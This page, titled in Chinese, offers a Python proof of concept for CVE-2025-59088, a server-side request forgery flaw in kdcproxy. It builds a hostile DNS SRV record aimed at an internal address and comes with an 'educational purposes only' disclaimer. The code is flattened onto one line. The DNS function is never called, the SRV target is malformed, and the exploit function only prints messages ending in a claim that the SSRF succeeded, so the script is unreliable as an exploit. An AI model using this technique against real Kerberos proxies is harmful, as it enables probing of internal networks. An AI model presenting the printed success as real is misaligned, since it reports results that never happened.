CVE-2025-59088 kdcproxy服务器端请求伪造漏洞

#!/usr/bin/env python3 """ CVE-2025-59088 PoC - kdcproxy SSRF Note: This is for educational purposes only """ import socket import struct import dnslib from dnslib import DNSRecord, QTYPE, RR, A def create_malicious_srv_response(): """ Create a DNS response with malicious SRV record pointing to internal host """ # Target internal IP to probe target_ip = "10.0.0.1" # Internal network address # Create SRV record pointing to internal service srv_data = f"0 100 88 kdc.{target_ip}" # DNS response construction reply = DNSRecord() reply.header.id = 12345 reply.add_answer(RR( "_kerberos._tcp.example.com", QTYPE.SRV, ttl=300, rdata=f"0 100 88 kdc.{target_ip}" )) return reply.pack() def exploit_kdcproxy(target_host, realm): """ Simulate sending request to kdcproxy that triggers DNS lookup """ # Craft Kerberos AS-REQ for the target realm # In real attack, this would be sent to the vulnerable kdcproxy print(f"[*] Targeting: {target_host}") print(f"[*] Requesting realm: {realm}") print(f"[*] kdcproxy will query DNS for _kerberos._tcp.{realm}") print(f"[*] Attacker controls DNS, returns malicious SRV record") print(f"[*] kdcproxy connects to internal IP: 10.0.0.1:88") print(f"[!] SSRF successful - internal network probed") if __name__ == "__main__": target = "vulnerable-kdcproxy.example.com" malicious_realm = "attacker-controlled-domain.com" exploit_kdcproxy(target, malicious_realm)